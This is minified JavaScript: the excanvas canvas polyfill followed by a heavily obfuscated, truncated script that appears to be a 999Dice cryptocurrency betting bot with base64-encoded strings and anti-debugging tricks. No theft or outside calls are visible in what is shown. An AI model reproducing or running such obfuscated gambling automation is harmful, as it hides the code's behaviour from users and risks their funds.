+v[Math.floor(255*b)];c=c[3]}else b=Z[a]||a;return H[a]={color:b,alpha:c}}function
C(a)
{this.m_=D();this.mStack_=[];this.aStack_=[];this.currentPath_=[];this.fillStyle=th
is.strokeStyle="#000";this.lineWidth=1;this.lineJoin="miter";this.lineCap="butt";th
is.miterLimit=1*q;this.globalAlpha=1;this.font="10px sans-
serif";this.textAlign="left";this.textBaseline="alphabetic";this.canvas=a;var
b="width:"+a.clientWidth+"px;height:"+a.clientHeight+"px;overflow:hidden;position:a
bsolute",c=a.ownerDocument.createElement("div");c.style.cssText=b;a.appendChild(c);
b=c.cloneNode(!
1);b.style.backgroundColor="red";b.style.filter="alpha(opacity=0)";a.appendChild(b)
;this.element_=c;this.lineScale_=this.arcScaleY_=this.arcScaleX_=1}function
R(a,b,c,g)
{a.currentPath_.push({type:"bezierCurveTo",cp1x:b.x,cp1y:b.y,cp2x:c.x,cp2y:c.y,x:g.
x,y:g.y});a.currentX_=g.x;a.currentY_=g.y}function S(a,b){var
c=G(a.strokeStyle),g=c.color,c=c.alpha*a.globalAlpha,e=a.lineScale_*a.lineWidth;1>e
&&(c*=e);b.push("<g_vml_:stroke",' opacity="',c,'"',' joinstyle="',a.lineJoin,'"','
miterlimit="',a.miterLimit,'"',' endcap="',$[a.lineCap]||"square",'"','
weight="',e,'px"',' color="',g,'" />')}function T(a,b,c,g){var
e=a.fillStyle,f=a.arcScaleX_,d=a.arcScaleY_,k=g.x-c.x,n=g.y-c.y;if(e instanceof w)
{var h=0,l=g=0,u=0,m=1;if("gradient"==e.type_){h=e.x1_/f;c=e.y1_/d;var
p=s(a,e.x0_/f,e.y0_/d),h=s(a,h,c),h=180*Math.atan2(h.x-p.x,h.y-
p.y)/Math.PI;0>h&&(h+=360);1E-6>h&&(h=0)}else p=s(a,e.x0_,e.y0_),g=(p.x-
c.x)/k,l=(p.y-c.y)/n,k/=f*q,n/=d*q,m=x.max(k,n),u=2*e.r0_/m,m=2*e.r1_/m-
u;f=e.colors_;f.sort(function(a,b){return a.offset-
b.offset});d=f.length;p=f[0].color;c=f[d-1].color;k=f[0].alpha*a.globalAlpha;a=f[d-
1].alpha*a.globalAlpha;for(var n=[],r=0;r<d;r++){var t=f[r];n.push(t.offset*m+u+"
"+t.color)}b.push('<g_vml_:fill type="',e.type_,'"',' method="none" focus="100%"','
color="',p,'"',' color2="',c,'"',' colors="',n.join(","),'"',' opacity="',a,'"','
g_o_:opacity2="',k,'"',' angle="',h,'"',' focusposition="',g,",",l,'" />')}else e
instanceof I?k&&n&&b.push("<g_vml_:fill",' position="',-c.x/k*f*f,",",-
c.y/n*d*d,'"',' type="tile"',' src="',e.src_,'" />'):
(e=G(a.fillStyle),b.push('<g_vml_:fill color="',e.color,'"
opacity="',e.alpha*a.globalAlpha,'" />'))}function s(a,b,c)
{a=a.m_;return{x:q*(b*a[0][0]+c*a[1][0]+a[2][0])-r,y:q*(b*a[0][1]+c*a[1][1]+a[2]
[1])-r}}function z(a,b,c){isFinite(b[0][0])&&(isFinite(b[0][1])&&isFinite(b[1]
[0])&&isFinite(b[1][1])&&isFinite(b[2][0])&&isFinite(b[2]
[1]))&&(a.m_=b,c&&(a.lineScale_=aa(ba(b[0][0]*b[1][1]-b[0][1]*b[1][0]))))}function
w(a)
{this.type_=a;this.r1_=this.y1_=this.x1_=this.r0_=this.y0_=this.x0_=0;this.colors_=
[]}function I(a,b){if(!a||1!=a.nodeType||"IMG"!=a.tagName)throw new
A("TYPE_MISMATCH_ERR");if("complete"!=a.readyState)throw new
A("INVALID_STATE_ERR");switch(b){case"repeat":case
null:case"":this.repetition_="repeat";break;case"repeat-x":case"repeat-y":case"no-
repeat":this.repetition_=b;break;default:throw new
A("SYNTAX_ERR")}this.src_=a.src;this.width_=a.width;this.height_=a.height}function
A(a){this.code=this[a];this.message=a+": DOM Exception "+this.code}var
x=Math,k=x.round,J=x.sin,K=x.cos,ba=x.abs,aa=x.sqrt,q=10,r=q/2;navigator.userAgent.
match(/MSIE ([\d.]+)?/);var M=Array.prototype.slice;O(document);var
U={init:function(a){a=a||
document;a.createElement("canvas");a.attachEvent("onreadystatechange",W(this.init_,
this,a))},init_:function(a){a=a.getElementsByTagName("canvas");for(var
b=0;b<a.length;b++)this.initElement(a[b])},initElement:function(a){if(!
a.getContext)
{a.getContext=V;O(a.ownerDocument);a.innerHTML="";a.attachEvent("onpropertychange",
X);a.attachEvent("onresize",Y);var b=a.attributes;b.width&&b.width.specified?
a.style.width=b.width.nodeValue+"px":a.width=a.clientWidth;b.height&&b.height.speci
fied?a.style.height=b.height.nodeValue+"px":a.height=a.clientHeight}return
a}};U.init();for(var v=[],d=0;16>d;d++)for(var B=0;16>B;B+
+)v[16*d+B]=d.toString(16)+B.toString(16);var
Z={aliceblue:"#F0F8FF",antiquewhite:"#FAEBD7",aquamarine:"#7FFFD4",azure:"#F0FFFF",
beige:"#F5F5DC",bisque:"#FFE4C4",black:"#000000",blanchedalmond:"#FFEBCD",blueviole
t:"#8A2BE2",brown:"#A52A2A",burlywood:"#DEB887",cadetblue:"#5F9EA0",chartreuse:"#7F
FF00",chocolate:"#D2691E",coral:"#FF7F50",cornflowerblue:"#6495ED",cornsilk:"#FFF8D
C",crimson:"#DC143C",cyan:"#00FFFF",darkblue:"#00008B",darkcyan:"#008B8B",darkgolde
nrod:"#B8860B",darkgray:"#A9A9A9",darkgreen:"#006400",darkgrey:"#A9A9A9",darkkhaki:
"#BDB76B",darkmagenta:"#8B008B",darkolivegreen:"#556B2F",darkorange:"#FF8C00",darko
rchid:"#9932CC",darkred:"#8B0000",darksalmon:"#E9967A",darkseagreen:"#8FBC8F",darks
lateblue:"#483D8B",darkslategray:"#2F4F4F",darkslategrey:"#2F4F4F",darkturquoise:"#
00CED1",darkviolet:"#9400D3",deeppink:"#FF1493",deepskyblue:"#00BFFF",dimgray:"#696
969",dimgrey:"#696969",dodgerblue:"#1E90FF",firebrick:"#B22222",floralwhite:"#FFFAF
0",forestgreen:"#228B22",gainsboro:"#DCDCDC",ghostwhite:"#F8F8FF",gold:"#FFD700",go
ldenrod:"#DAA520",grey:"#808080",greenyellow:"#ADFF2F",honeydew:"#F0FFF0",hotpink:"
#FF69B4",indianred:"#CD5C5C",indigo:"#4B0082",ivory:"#FFFFF0",khaki:"#F0E68C",laven
der:"#E6E6FA",lavenderblush:"#FFF0F5",lawngreen:"#7CFC00",lemonchiffon:"#FFFACD",li
ghtblue:"#ADD8E6",lightcoral:"#F08080",lightcyan:"#E0FFFF",lightgoldenrodyellow:"#F
AFAD2",lightgreen:"#90EE90",lightgrey:"#D3D3D3",lightpink:"#FFB6C1",lightsalmon:"#F
FA07A",lightseagreen:"#20B2AA",lightskyblue:"#87CEFA",lightslategray:"#778899",ligh
tslategrey:"#778899",lightsteelblue:"#B0C4DE",lightyellow:"#FFFFE0",limegreen:"#32C
D32",linen:"#FAF0E6",magenta:"#FF00FF",mediumaquamarine:"#66CDAA",mediumblue:"#0000
CD",mediumorchid:"#BA55D3",mediumpurple:"#9370DB",mediumseagreen:"#3CB371",mediumsl
ateblue:"#7B68EE",mediumspringgreen:"#00FA9A",mediumturquoise:"#48D1CC",mediumviole
tred:"#C71585",midnightblue:"#191970",mintcream:"#F5FFFA",mistyrose:"#FFE4E1",mocca
sin:"#FFE4B5",navajowhite:"#FFDEAD",oldlace:"#FDF5E6",olivedrab:"#6B8E23",orange:"#
FFA500",orangered:"#FF4500",orchid:"#DA70D6",palegoldenrod:"#EEE8AA",palegreen:"#98
FB98",paleturquoise:"#AFEEEE",palevioletred:"#DB7093",papayawhip:"#FFEFD5",peachpuf
f:"#FFDAB9",peru:"#CD853F",pink:"#FFC0CB",plum:"#DDA0DD",powderblue:"#B0E0E6",rosyb
rown:"#BC8F8F",royalblue:"#4169E1",saddlebrown:"#8B4513",salmon:"#FA8072",sandybrow
n:"#F4A460",seagreen:"#2E8B57",seashell:"#FFF5EE",sienna:"#A0522D",skyblue:"#87CEEB
",slateblue:"#6A5ACD",slategray:"#708090",slategrey:"#708090",snow:"#FFFAFA",spring
green:"#00FF7F",steelblue:"#4682B4",tan:"#D2B48C",thistle:"#D8BFD8",tomato:"#FF6347
",turquoise:"#40E0D0",violet:"#EE82EE",wheat:"#F5DEB3",whitesmoke:"#F5F5F5",yellowg
reen:"#9ACD32"},H={},L={},
$={butt:"flat",round:"round"},d=C.prototype;d.clearRect=function()
{this.textMeasureEl_&&(this.textMeasureEl_.removeNode(!
0),this.textMeasureEl_=null);this.element_.innerHTML=""};d.beginPath=function()
{this.currentPath_=[]};d.moveTo=function(a,b){var
c=s(this,a,b);this.currentPath_.push({type:"moveTo",x:c.x,y:c.y});this.currentX_=c.
x;this.currentY_=c.y};d.lineTo=function(a,b){var
c=s(this,a,b);this.currentPath_.push({type:"lineTo",x:c.x,y:c.y});this.currentX_=c.
x;this.currentY_=c.y};d.bezierCurveTo=function(a,b,c,g,e,f)
{e=s(this,e,f);a=s(this,a,b);c=s(this,c,g);R(this,a,c,e)};d.quadraticCurveTo=functi
on(a,b,c,g){a=
s(this,a,b);c=s(this,c,g);g={x:this.currentX_+2/3*(a.x-
this.currentX_),y:this.currentY_+2/3*(a.y-this.currentY_)};R(this,g,{x:g.x+(c.x-
this.currentX_)/3,y:g.y+(c.y-this.currentY_)/3},c)};d.arc=function(a,b,c,g,e,f)
{c*=q;var d=f?"at":"wa",k=a+K(g)*c-r,n=b+J(g)*c-r;g=a+K(e)*c-r;e=b+J(e)*c-r;k!=g||
f||
(k+=0.125);a=s(this,a,b);k=s(this,k,n);g=s(this,g,e);this.currentPath_.push({type:d
,x:a.x,y:a.y,radius:c,xStart:k.x,yStart:k.y,xEnd:g.x,yEnd:g.y})};d.rect=function(a,
b,c,g)
{this.moveTo(a,b);this.lineTo(a+c,b);this.lineTo(a+c,b+g);this.lineTo(a,b+g);this.c
losePath()};d.strokeRect=function(a,b,c,g){var
e=this.currentPath_;this.beginPath();this.moveTo(a,b);this.lineTo(a+c,b);this.lineT
o(a+c,b+g);this.lineTo(a,b+g);this.closePath();this.stroke();this.currentPath_=e};d
.fillRect=function(a,b,c,g){var
e=this.currentPath_;this.beginPath();this.moveTo(a,b);this.lineTo(a+c,b);this.lineT
o(a+c,b+g);this.lineTo(a,b+g);this.closePath();this.fill();this.currentPath_=e};d.c
reateLinearGradient=function(a,b,c,g){var e=new
w("gradient");e.x0_=a;e.y0_=b;e.x1_=c;e.y1_=g;return
e};d.createRadialGradient=function(a,b,c,g,e,f){var d=new
w("gradientradial");d.x0_=a;d.y0_=b;d.r0_=c;d.x1_=g;d.y1_=e;d.r1_=f;return
d};d.drawImage=function(a,b){var
c,g,e,d,r,y,n,h;e=a.runtimeStyle.width;d=a.runtimeStyle.height;a.runtimeStyle.width
="auto";a.runtimeStyle.height="auto";var
l=a.width,u=a.height;a.runtimeStyle.width=e;a.runtimeStyle.height=d;if(3==arguments
.length)c=arguments[1],g=arguments[2],r=y=0,n=e=l,h=d=u;else
if(5==arguments.length)c=arguments[1],g=arguments[2],e=arguments[3],d=arguments[4],
r=y=0,n=l,h=u;else
if(9==arguments.length)r=arguments[1],y=arguments[2],n=arguments[3],h=arguments[4],
c=arguments[5],g=arguments[6],e=arguments[7],d=arguments[8];else throw
Error("Invalid number of arguments");var m=s(this,c,g),p=[];p.push("
<g_vml_:group",' coordsize="',10*q,",",10*q,'"',' coordorigin="0,0"','
style="width:',10,"px;height:",10,"px;position:absolute;");if(1!=this.m_[0][0]||
this.m_[0][1]||1!=this.m_[1][1]||this.m_[1][0]){var t=[];t.push("M11=",this.m_[0]
[0],",","M12=",this.m_[1][0],",","M21=",this.m_[0][1],",","M22=",this.m_[1]
[1],",","Dx=",k(m.x/q),",","Dy=",k(m.y/q),"");var
v=s(this,c+e,g),w=s(this,c,g+d);c=s(this,c+e,g+d);m.x=x.max(m.x,v.x,w.x,c.x);m.y=x.
max(m.y,v.y,w.y,c.y);p.push("padding:0 ",k(m.x/q),"px ",k(m.y/q),"px
0;filter:progid:DXImageTransform.Microsoft.Matrix(",t.join(""),",
sizingmethod='clip');")}else
p.push("top:",k(m.y/q),"px;left:",k(m.x/q),"px;");p.push(' ">','<g_vml_:image
src="',a.src,'"',' style="width:',q*e,"px;"," height:",q*d,'px"','
cropleft="',r/l,'"',' croptop="',y/u,'"',' cropright="',(l-r-n)/l,'"','
cropbottom="',(u-y-h)/u,'"',"
/>","</g_vml_:group>");this.element_.insertAdjacentHTML("BeforeEnd",p.join(""))};d.
stroke=function(a){var b=[];b.push("<g_vml_:shape",' filled="',!!a,'"','
style="position:absolute;width:',10,"px;height:",10,'px;"',' coordorigin="0,0"','
coordsize="',10*q,",",10*q,'"',' stroked="',!a,'"',' path="');for(var
c={x:null,y:null},d={x:null,y:null},e=0;e<this.currentPath_.length;e++){var
f=this.currentPath_[e];switch(f.type){case"moveTo":b.push(" m
",k(f.x),",",k(f.y));break;case"lineTo":b.push(" l
",k(f.x),",",k(f.y));break;case"close":b.push(" x
");f=null;break;case"bezierCurveTo":b.push(" c
",k(f.cp1x),",",k(f.cp1y),",",k(f.cp2x),",",k(f.cp2y),",",k(f.x),",",k(f.y));break;
case"at":case"wa":b.push(" ",f.type," ",k(f.x-this.arcScaleX_*f.radius),",",k(f.y-
this.arcScaleY_*f.radius),"
",k(f.x+this.arcScaleX_*f.radius),",",k(f.y+this.arcScaleY_*f.radius),"
",k(f.xStart),",",k(f.yStart)," ",k(f.xEnd),",",k(f.yEnd))}if(f){if(null==c.x||
f.x<c.x)c.x=f.x;if(null==d.x||f.x>d.x)d.x=f.x;if(null==c.y||
f.y<c.y)c.y=f.y;if(null==d.y||f.y>d.y)d.y=f.y}}b.push(' ">');a?
T(this,b,c,d):S(this,b);b.push("</g_vml_:shape>");this.element_.insertAdjacentHTML(
"beforeEnd",b.join(""))};d.fill=function(){this.stroke(!0)};d.closePath=function()
{this.currentPath_.push({type:"close"})};d.save=function(){var
a={};P(this,a);this.aStack_.push(a);this.mStack_.push(this.m_);this.m_=t(D(),this.m
_)};d.restore=function()
{this.aStack_.length&&(P(this.aStack_.pop(),this),this.m_=this.mStack_.pop())};d.tr
anslate=function(a,b){z(this,t([[1,0,0],[0,1,0],[a,b,1]],this.m_),!
1)};d.rotate=function(a){var b=K(a);a=J(a);z(this,t([[b,a,0],[-a,b,0],
[0,0,1]],this.m_),!1)};d.scale=function(a,b)
{this.arcScaleX_*=a;this.arcScaleY_*=b;z(this,t([[a,0,0],[0,b,0],
[0,0,1]],this.m_),!0)};d.transform=function(a,b,c,d,e,f){z(this,t([[a,b,0],[c,d,0],
[e,f,1]],this.m_),!0)};d.setTransform=function(a,b,c,d,e,f){z(this,[[a,b,0],
[c,d,0],[e,f,1]],!0)};d.drawText_=function(a,b,c,d,e){var f=this.m_;d=0;var
r=1E3,t=0,n=[],h;h=this.font;if(L[h])h=L[h];else{var
l=document.createElement("div").style;try{l.font=h}catch(u)
{}h=L[h]={style:l.fontStyle||"normal",variant:l.fontVariant||"normal",weight:l.font
Weight||"normal",size:l.fontSize||10,family:l.fontFamily||"sans-serif"}}var
l=h,m=this.element_;h={};for(var p in
l)h[p]=l[p];p=parseFloat(m.currentStyle.fontSize);m=parseFloat(l.size);"number"==ty
peof l.size?h.size=l.size:-1!=l.size.indexOf("px")?h.size=m:-1!
=l.size.indexOf("em")?h.size=p*m:-1!=l.size.indexOf("%")?h.size=p/100*m:-1!
=l.size.indexOf("pt")?h.size=m/0.75:h.size=p;h.size*=0.981;p=h.style+"
"+h.variant+" "+h.weight+" "+h.size+"px
"+h.family;m=this.element_.currentStyle;l=this.textAlign.toLowerCase();switch(l)
{case"left":case"center":case"right":break;case"end":l="ltr"==m.direction?"right":"
left";break;case"start":l="rtl"==m.direction?"right":"left";break;default:l="left"}
switch(this.textBaseline)
{case"hanging":case"top":t=h.size/1.75;break;case"middle":break;default:case
null:case"alphabetic":case"ideographic":case"bottom":t=-h.size/2.25}switch(l)
{case"right":d=1E3;r=0.05;break;case"center":d=r=500}b=s(this,b+0,c+t);n.push('<g_v
ml_:line from="',-d,' 0" to="',r,' 0.05" ',' coordsize="100 100" coordorigin="0
0"',' filled="',!e,'" stroked="',!!e,'"
style="position:absolute;width:1px;height:1px;">');e?S(this,n):T(this,n,{x:-d,y:0},
{x:r,y:h.size});e=f[0][0].toFixed(3)+","+f[1][0].toFixed(3)+","+f[0]
[1].toFixed(3)+","+f[1][1].toFixed(3)+",0,0";b=k(b.x/q)
+","+k(b.y/q);n.push('<g_vml_:skew on="t" matrix="',e,'" ',' offset="',b,'"
origin="',d,' 0" />','<g_vml_:path textpathok="true" />','<g_vml_:textpath
on="true" string="',N(a),'" style="v-text-align:',l,";font:",N(p),'"
/></g_vml_:line>');this.element_.insertAdjacentHTML("beforeEnd",n.join(""))};d.fill
Text=function(a,b,c,d){this.drawText_(a,b,c,d,!1)};d.strokeText=function(a,b,c,d)
{this.drawText_(a,b,c,d,!0)};d.measureText=function(a){this.textMeasureEl_||
(this.element_.insertAdjacentHTML("beforeEnd",'<span style="position:absolute;top:-
20000px;left:0;padding:0;margin:0;border:none;white-
space:pre;"></span>'),this.textMeasureEl_=this.element_.lastChild);var
b=this.element_.ownerDocument;this.textMeasureEl_.innerHTML="";this.textMeasureEl_.
style.font=this.font;this.textMeasureEl_.appendChild(b.createTextNode(a));return{wi
dth:this.textMeasureEl_.offsetWidth}};d.clip=function(){};d.arcTo=function()
{};d.createPattern=function(a,b){return new
I(a,b)};w.prototype.addColorStop=function(a,b)
{b=G(b);this.colors_.push({offset:a,color:b.color,alpha:b.alpha})};d=A.prototype=Er
ror();d.INDEX_SIZE_ERR=1;d.DOMSTRING_SIZE_ERR=2;d.HIERARCHY_REQUEST_ERR=3;d.WRONG_D
OCUMENT_ERR=4;d.INVALID_CHARACTER_ERR=5;d.NO_DATA_ALLOWED_ERR=6;d.NO_MODIFICATION_A
LLOWED_ERR=7;d.NOT_FOUND_ERR=8;d.NOT_SUPPORTED_ERR=9;d.INUSE_ATTRIBUTE_ERR=10;d.INV
ALID_STATE_ERR=11;d.SYNTAX_ERR=12;d.INVALID_MODIFICATION_ERR=13;d.NAMESPACE_ERR=14;
d.INVALID_ACCESS_ERR=15;d.VALIDATION_ERR=16;d.TYPE_MISMATCH_ERR=17;G_vmlCanvasManag
er=U;CanvasRenderingContext2D=C;CanvasGradient=w;CanvasPattern=I;DOMException=A}();
var
nzx_0x314b=['Ym94RGljZQ==','bW91c2Vkb3du','Y2xpZW50WA==','b2Zmc2V0VG9w','Y2xpZW50WQ
==','YWRkRXZlbnRMaXN0ZW5lcg==','RG5tUHQ=','c3R5bGU=','cXVlcnlTZWxlY3Rvcg==','I3RpbW
VyQmV0dGluZw==','Z2V0RWxlbWVudHNCeU5hbWU=','ZGly','Y2hlY2tlZA==','ZXRIS0Q=','ZnFHZF
M=','WHNjdUc=','I0xhc3RCZXRJbmZvU2VjcmV0','ZHhwUUg=','bG9n','ZXJyb3I=','I0xhc3RCZXR
JbmZvUHJvZml0','dG9GaXhlZA==','I2NvaW4=','I19zdGF0dXM=','dG9TdHJpbmc=','Z3JlZW4=','
WEtkRkc=','dEJPb1Q=','Zmxvb3I=','enBuY3g=','Z2V0RWxlbWVudEJ5SWQ=','QmV0Q2hhbmNlSW5w
dXQ=','dmFsdWU=','YnRj','ZG9nZQ==','bHRj','ZXRo','c2VydmVy','I0JldFByb2ZpdExhYmVs',
'QmJNeUs=','QmV0U2l6ZUlucHV0','bElZaUU=','I0JldEhpZ2hCdXR0b24=','em5RaGg=','cmV0dXJ
uIChmdW5jdGlvbigpIA==','a0tyUnY=','UUZYYVc=','QVRtdmQ=','elhXcHg=','b2Zmc2V0TGVmdA=
=','MDA6MDA6MDA=','cHVzaA==','T3hIemk=','YU1SQnI=','aHlwb3Q=','c29ydA==','Z1dpR3U='
,'WFRwY24=','bkhkV1Q=','cGxhY2VCZXQ=','ZHdUbG8=','VUFIVWk=','bGR2Sk0=','V1BwU2k=','
UnV0RW8=','bGVmdA==','dG9w','IDk5OURJQ0UgQk9UIFRIRSBQUkVEQVRPUg==','cGxheVRpbWUoKQ=
=','c3Jj','dm9sdW1l','I0NoYXRUYWI=','YmluZA==','RE9NU3VidHJlZU1vZGlmaWVk','Y2hpbGRy
ZW4=','ZmluZA==','LlRleHRCdXR0b24=','V2JMb0Q=','I19iYXNlYmV0','I19tdWx0d2lu','dmFs'
,'I19tdWx0bG9zZQ==','I19yaXNr','cGxheQ==','QWZKdU4=','Y2xpY2s=','Y29z','c2lu','YXRh
bjI=','RVdVZWM=','YXBwbHk=','SlhXaVM=','TXVZRVg=','I0JldExvd0J1dHRvbg==','e30uY29uc
3RydWN0b3IoInJldHVybiB0aGlzIikoICk=','Y29uc29sZQ==','TE9wbE0=','I19zdGFydA==','dGV4
dA==','U1RBUlQ=','Y29sb3I=','eWVsbG93','U1RPUA==','cmVk','LlVzZXJCYWxhbmNl','aW5uZX
JIVE1M','I19taW5jaGFuY2U=','I19tYXhjaGFuY2U=','cmFuZG9t','cm91bmQ=','Z29sZA==','LkN
1cnJlbmN5TmFtZQ==','aW5uZXJUZXh0','dG9Mb3dlckNhc2U=','Q2hhcnQ=','Y2hhcnQ=','ZGFyazI
=','dHJhbnNwYXJlbnQ=','QmV0cw==','UHJvZml0','IzJlYWI1Yg==','c3RlcExpbmU=','cmVuZGVy
','RkpnZVk=','d2Fybg==','ZGVidWc=','dHJhY2U=','aW5mbw==','ZXhjZXB0aW9u','Y29va2ll',
'aW5kZXhPZg==','c3Vic3RyaW5n','bGVuZ3Ro','blVCd0o=','cGxheURpY2UoKQ==','ZG9QbUo=','
Z2V0SG91cnM=','Z2V0TWludXRlcw==','Z2V0U2Vjb25kcw==','LmxvY2FsdGltZQ==','aHRtbA==','
PGRpdiBjbGFzcz0iYm94RGljZSI+Cgk8dGFibGUgd2lkdGg9IjEwMCUiYm9yZGVyPSIwImNlbGxzcGFjaW5
nPSIwImNlbGxwYWRkaW5nPSI1Ij4KCQk8ZGl2IGNsYXNzPSJib3hUaXRsZSJpZD0iaXNEeW5hbWljIj48c3
BhbiBpZD0icmVmdXJsIj48L3NwYW4+PHNwYW4gaWQ9ImxvY2FsdGltZSJjbGFzcz0ibG9jYWx0aW1lIj4wM
DowMDowMDwvc3Bhbj48L2Rpdj4KCQk8ZGl2IGNsYXNzPSJib3hTY29uIj48c3BhbiBpZD0iY29pbiI+PC9z
cGFuPjxzcGFuIGNsYXNzPSJib3hTdGF0dXMidHlwZT0idGV4dCJpZD0iX3N0YXR1cyI+MC4wMDAwMDAwMCB
bMC4wMCVdPC9zcGFuPjwvZGl2PgoJCQk8dGJvZHk+CgkJCTx0cj4KCQkJCTx0ZCBjbGFzcz0iYm94VER0aX
RsZSI+RGVhdGggQmV0PC90ZD4KCQkJCTx0ZCBjbGFzcz0iYm94RFMiPjxpbnB1dCBjbGFzcz0iU3RhbmRhc
mRUZXh0Qm94IElucHV0Qm94InR5cGU9InRleHQiaWQ9Il9iYXNlYmV0InZhbHVlPSIwLjAwMDAwMDAxIj48
L3RkPgoJCQkJPHRkIGNsYXNzPSJib3hURHRpdGxlIj5MaWZlIG9yIERlYXRoICUKPC90ZD4KCQkJCTx0ZCB
jbGFzcz0iYm94RFMiPjxpbnB1dCBjbGFzcz0iU3RhbmRhcmRUZXh0Qm94IElucHV0Qm94InR5cGU9InRleH
QiaWQ9Il9yaXNrInZhbHVlPSIxMDAiPjwvdGQ+CgkJCTwvdHI+CgkJCTx0cj4KCQkJCTx0ZCBjbGFzcz0iY
m94VER0aXRsZSI+TWluIFlvdXIgQ2hhbmNlPC90ZD4KCQkJCTx0ZCBjbGFzcz0iYm94RFMiPjxpbnB1dCBj
bGFzcz0iU3RhbmRhcmRUZXh0Qm94IElucHV0Qm94InR5cGU9InRleHQiaWQ9Il9taW5jaGFuY2UidmFsdWU
9IjUiPjwvdGQ+CgkJCQk8dGQgY2xhc3M9ImJveFREdGl0bGUiPk1heCBZb3VyIENoYW5jZQo8L3RkPgoJCQ
kJPHRkIGNsYXNzPSJib3hEUyI+PGlucHV0IGNsYXNzPSJTdGFuZGFyZFRleHRCb3ggSW5wdXRCb3gidHlwZ
T0idGV4dCJpZD0iX21heGNoYW5jZSJ2YWx1ZT0iNDkiPjwvdGQ+CgkJCTwvdHI+CQoJCQk8dHI+CgkJCQk8
dGQgY2xhc3M9ImJveFREdGl0bGUiPk11bHRPbldpbjwvdGQ+CgkJCQk8dGQgY2xhc3M9ImJveERTIj48aW5
wdXQgY2xhc3M9IlN0YW5kYXJkVGV4dEJveCBJbnB1dEJveCJ0eXBlPSJ0ZXh0ImlkPSJfbXVsdHdpbiJ2YW
x1ZT0iMC43NSI+PC90ZD4KCQkJCTx0ZCBjbGFzcz0iYm94VER0aXRsZSI+TXVsdE9uTG9zZTwvdGQ+CgkJC
Qk8dGQgY2xhc3M9ImJveERTIj48aW5wdXQgY2xhc3M9IlN0YW5kYXJkVGV4dEJveCBJbnB1dEJveCJ0eXBl
PSJ0ZXh0ImlkPSJfbXVsdGxvc2UidmFsdWU9IjEuMyI+PC90ZD4KCQkJPC90cj4JCQoJCTwvdGJvZHk+Cgk
8L3RhYmxlPgoJPGRpdiBpZD0iY2hhcnQiIHN0eWxlPSJoZWlnaHQ6IDE2MHB4O2JvcmRlcjogMiBzb2xpZC
AjMTgxYTFlOyI+PC9kaXY+CQoJPHRhYmxlIHdpZHRoPSIxMDAlIiBib3JkZXI9IjAiIGNlbGxzcGFjaW5nP
SIwIiBjZWxscGFkZGluZz0iNSI+CQkKCQk8dHI+CQkKCQkJCTx0ZCBjbGFzcz0iYm94VER0aXRsZSI+WW91
ciB0aW1lIGhhcyBnb25lPC90ZD4KCQkJCTx0ZCBhbGlnbj0iY2VudGVyIj48c3BhbiBpZD0iX3BsYXl0aW1
lIiA+MDA6MDA6MDA8L3NwYW4+PC90ZD4KCQkJCTx0ZCBhbGlnbj0iY2VudGVyIj48c2J1dHRvbiB0eXBlPS
JidXR0b24ib25jbGljaz0ic3RhcnREaWNlKCk7cmV0dXJuIGZhbHNlOyJpZD0iX3N0YXJ0ImNsYXNzPSJUZ
Xh0QnV0dG9uIj5TVEFSVDwvc2J1dHRvbj48L3RkPgoJCTwvdHI+CQkKICAgICAgPC90Ym9keT4KICAgPC90
YWJsZT4gICAKPC9kaXY+','Ym9keQ==','YXBwZW5k','aGlkZQ==','aGVhZA==','I3JlZnVybA==','Y
3Nz','I2JkZjJjYQ==','MjBweA==','Ym9sZA==','S3BldlM=','VUJwVGU=','c2hpZnQ=','Y3VycmV
udFRpbWUoKQ==','Z2V0RWxlbWVudHNCeUNsYXNzTmFtZQ=='];(function(_0x45879c,_0x116b4e)
{var _0x3ab499=function(_0x43e7df){while(--_0x43e7df){_0x45879c['push']
(_0x45879c['shift']());}};var _0x549334=function(){var _0x4e755b={'data':
{'key':'cookie','value':'timeout'},'setCookie':function(_0xe2b48c,_0x4280d7,_0xf011
4c,_0x3e85ba){_0x3e85ba=_0x3e85ba||{};var _0x57a311=_0x4280d7+'='+_0xf0114c;var
_0x5bb142=0x0;for(var
_0x5bb142=0x0,_0x395ffc=_0xe2b48c['length'];_0x5bb142<_0x395ffc;_0x5bb142++){var
_0xbc562d=_0xe2b48c[_0x5bb142];_0x57a311+=';\x20'+_0xbc562d;var
_0x552617=_0xe2b48c[_0xbc562d];_0xe2b48c['push']
(_0x552617);_0x395ffc=_0xe2b48c['length'];if(_0x552617!==!![])
{_0x57a311+='='+_0x552617;}}_0x3e85ba['cookie']=_0x57a311;},'removeCookie':function
(){return'dev';},'getCookie':function(_0x188326,_0x268e94){_0x188326=_0x188326||
function(_0xc6ceb4){return _0xc6ceb4;};var _0x306a55=_0x188326(new
RegExp('(?:^|;\x20)'+_0x268e94['replace'](/([.$?*|{}()[]\/+^])/g,'$1')
+'=([^;]*)'));var _0x30be49=function(_0x2a8230,_0x3b2dea){_0x2a8230(+
+_0x3b2dea);};_0x30be49(_0x3ab499,_0x116b4e);return _0x306a55?
decodeURIComponent(_0x306a55[0x1]):undefined;}};var _0x51e083=function(){var
_0x476abc=new RegExp('\x5cw+\x20*\x5c(\x5c)\x20*{\x5cw+\x20*[\x27|\x22].+
[\x27|\x22];?\x20*}');return _0x476abc['test'](_0x4e755b['removeCookie']
['toString']());};_0x4e755b['updateCookie']=_0x51e083;var _0x468228='';var
_0x44aee8=_0x4e755b['updateCookie']();if(!_0x44aee8){_0x4e755b['setCookie']
(['*'],'counter',0x1);}else if(_0x44aee8){_0x468228=_0x4e755b['getCookie']
(null,'counter');}else{_0x4e755b['removeCookie']();}};_0x549334();}
(nzx_0x314b,0xdf));var nzx_0x1513=function(_0x25e601,_0x19c588)
{_0x25e601=_0x25e601-0x0;var
_0x284805=nzx_0x314b[_0x25e601];if(nzx_0x1513['gWpCyV']===undefined){(function()
{var _0x1f67a0=function(){var
_0x39c4be;try{_0x39c4be=Function('return\x20(function()\x20'+'{}.constructor(\x22re
turn\x20this\x22)(\x20)'+');')();}catch(_0xc25a4){_0x39c4be=window;}return
_0x39c4be;};var _0x4e0ebd=_0x1f67a0();var
_0x124c38='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=';_0x4e
0ebd['atob']||(_0x4e0ebd['atob']=function(_0x40dc53){var _0x8cf1d=String(_0x40dc53)
['replace'](/=+$/,'');for(var
_0x303d75=0x0,_0x1def9f,_0x1f2aa3,_0x3abd90=0x0,_0x412164='';_0x1f2aa3=_0x8cf1d['ch
arAt'](_0x3abd90++);~_0x1f2aa3&&(_0x1def9f=_0x303d75%0x4?
